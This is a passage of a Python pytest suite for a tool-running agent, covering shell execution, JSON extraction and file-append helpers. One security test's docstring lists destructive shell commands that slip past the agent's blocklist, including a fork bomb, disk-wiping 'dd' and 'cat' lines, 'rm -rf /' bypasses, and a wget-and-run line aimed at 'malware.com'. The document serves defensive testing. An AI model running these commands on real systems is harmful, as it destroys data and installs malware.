"""Test pattern match that extracts non-dict JSON."""
|
|
config = {"tools": ["echo"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Embedded JSON that's an array
|
|
message = 'Some text before ["value1", "value2"] and after'
|
|
result = agent._extract_json_from_message(message)
|
|
|
|
# Should return None because pattern doesn't match arrays
|
|
assert result is None
|
|
|
|
|
|
class TestExecuteToolExtended:
|
|
"""Extended tests for _execute_tool method."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_tool_shell_command_allowed(self, template_renderer):
|
|
"""Test where self.allow_shell is true and tool_name is a shell command."""
|
|
config = {
|
|
"tools": ["echo"],
|
|
"allow_shell": True,
|
|
"safe_mode": False
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = await agent._execute_tool("echo", {"args": ["hello"]}, {})
|
|
|
|
assert result == "hello"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_tool_not_in_list_shell_disabled(self, template_renderer):
|
|
"""Test where tool_name is not a tool and self.allow_shell is false."""
|
|
config = {
|
|
"tools": ["echo"], # Use builtin tool
|
|
"allow_shell": False
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
with pytest.raises(ExecutionError, match="not in allowed tools list"):
|
|
await agent._execute_tool("unknown_tool", {}, {})
|
|
|
|
|
|
class TestExecuteShellCommandExtended:
|
|
"""Extended tests for _execute_shell_command method."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_shell_command_success(self, template_renderer):
|
|
"""Test shell command that returns 0."""
|
|
config = {
|
|
"tools": ["echo"],
|
|
"allow_shell": True,
|
|
"safe_mode": False
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = await agent._execute_shell_command("echo", {"args": ["test", "message"]})
|
|
|
|
assert "test" in result
|
|
assert "message" in result
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_execute_shell_command_failure(self, template_renderer):
|
|
"""Test shell command that returns 1."""
|
|
config = {
|
|
"tools": ["ls"],
|
|
"allow_shell": True,
|
|
"safe_mode": False
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Try to list a non-existent directory
|
|
with pytest.raises(ExecutionError, match="Command failed with code"):
|
|
await agent._execute_shell_command("ls", {"args": ["/nonexistent_directory_xyz"]})
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_safe_mode_discussion(self, template_renderer):
|
|
"""
|
|
SECURITY TEST: Demonstrates critical safe_mode vulnerabilities.
|
|
|
|
Current dangerous commands list:
|
|
["rm", "del", "format", "shutdown", "reboot", "kill"]
|
|
|
|
SECURITY ISSUES:
|
|
1. Substring matching allows bypasses:
|
|
- "rm" blocks "rm" but not "rmdir" or "unlink"
|
|
- Can use "/bin/rm" to bypass string check
|
|
|
|
2. Many dangerous commands not included:
|
|
- dd (disk destroyer): dd if=/dev/zero of=/dev/sda
|
|
- chmod/chown (permission changes)
|
|
- wget/curl (download malware)
|
|
- python/bash (arbitrary code execution)
|
|
- mv (move important files)
|
|
- > and >> (redirect to overwrite files)
|
|
- cat /dev/random > important_file
|
|
- fork bombs: :(){ :|:& };:
|
|
- mkfs (format filesystem)
|
|
- sudo (privilege escalation)
|
|
|
|
3. Command injection vulnerabilities:
|
|
- Shell metacharacters not sanitized
|
|
- Can chain commands with ; && ||
|
|
- Example: "ls; rm -rf /"
|
|
|
|
CREATIVE WAYS TO MESS UP A SYSTEM (that pass safe_mode):
|
|
1. "dd if=/dev/zero of=bigfile bs=1G count=100" - Fill disk
|
|
2. ":(){ :|:& };:" - Fork bomb (crash system)
|
|
3. "cat /dev/urandom > /dev/sda" - Corrupt disk
|
|
4. "chmod 000 -R /" - Make everything unreadable
|
|
5. "find / -type f -exec shred -n 1 {} +" - Shred all files
|
|
6. "ln -s /dev/zero /tmp/file && cat /tmp/file" - Infinite zeros
|
|
7. "python -c 'import os; os.system(\"rm -rf /\")'" - Python bypass
|
|
8. "bash -c 'rm -rf /'" - Bash bypass
|
|
9. "wget malware.com/virus.sh -O /tmp/v.sh && bash /tmp/v.sh"
|
|
10. "echo 'payload' | base64 -d | sh" - Encoded payload
|
|
|
|
RECOMMENDATION:
|
|
Replace simple blocklist with:
|
|
- Allowlist of safe commands only
|
|
- Proper shell escaping
|
|
- Run in sandboxed environment (Docker, chroot)
|
|
- Use subprocess with shell=False (already done)
|
|
- Add path restrictions
|
|
- Monitor resource usage
|
|
"""
|
|
config = {
|
|
"tools": ["dd", "python", "bash"],
|
|
"allow_shell": True,
|
|
"safe_mode": True
|
|
}
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Mock subprocess creation to prevent actual command execution
|
|
mock_process = AsyncMock()
|
|
mock_process.returncode = 0
|
|
mock_process.communicate = AsyncMock(return_value=(b"mocked output", b""))
|
|
|
|
with patch('asyncio.create_subprocess_exec', return_value=mock_process):
|
|
dangerous_commands = [
|
|
("dd", {"args": ["if=/dev/zero", "of=/tmp/test", "bs=1K", "count=1"]}),
|
|
("python", {"args": ["-c", "print('code execution')"]}),
|
|
("bash", {"args": ["-c", "echo 'shell access'"]}),
|
|
]
|
|
|
|
for cmd, args in dangerous_commands:
|
|
# Verify these commands are NOT blocked by safe_mode (demonstrating the vulnerability)
|
|
result = await agent._execute_shell_command(cmd, args)
|
|
assert result == "mocked output"
|
|
|
|
|
|
class TestPrepareAppendContentExtended:
|
|
"""Extended tests for _prepare_append_content method."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_prepare_append_content_section_with_single_newline(self, template_renderer, tmp_path):
|
|
"""Test where existing_content.endswith('\\n') with section content."""
|
|
config = {"tools": ["file_write"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Create a temp file with content ending in single newline
|
|
test_file = tmp_path / "test.txt"
|
|
test_file.write_text("existing content\n")
|
|
|
|
result = agent._prepare_append_content(str(test_file), "# Section Header")
|
|
|
|
# Should add spacing for section content
|
|
assert result.startswith("\n")
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_prepare_append_content_section_with_double_newline(self, template_renderer, tmp_path):
|
|
"""Test where existing_content.endswith('\\n\\n') with section content."""
|
|
config = {"tools": ["file_write"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# Create a temp file with content ending in double newline
|
|
test_file = tmp_path / "test.txt"
|
|
test_file.write_text("existing content\n\n")
|
|
|
|
result = agent._prepare_append_content(str(test_file), "# Section Header")
|
|
|
|
# Should not add extra spacing when already has double newline
|
|
assert result == "# Section Header"
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_prepare_append_content_non_section(self, template_renderer):
|
|
"""Test with non-section content (doesn't start with #)."""
|
|
config = {"tools": ["file_write"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
result = agent._prepare_append_content("/nonexistent/file.txt", "new content")
|
|
|
|
# Should just return content for non-section
|
|
assert result == "new content"
|
|
|
|
|
|
class TestHandleInsertPositionExtended:
|
|
"""Extended tests for _handle_insert_position method."""
|
|
|
|
@pytest.fixture
|
|
def template_renderer(self):
|
|
"""Create a basic template renderer."""
|
|
return TemplateRenderer()
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_handle_insert_position_file_not_exist(self, template_renderer):
|
|
"""Test where the file doesn't exist."""
|
|
config = {"tools": ["file_write"]} # Use builtin tool
|
|
agent = ToolAgent("test_tool", config, template_renderer)
|
|
|
|
# When file doesn't exist, returns tuple (lines, position)
|
|
lines, position = agent._handle_insert_position("/nonexistent/file.txt", "new content", 0)
|
|
|
|
# Should return formatted content and correct position
|
|
assert lines == ["new content\n"]
|
|
assert position == 1 # Position after the inserted line
|
|
|
|
|
|
if __name__ == "__main__":
|
|
pytest.main([__file__, "-v"])
|
|
|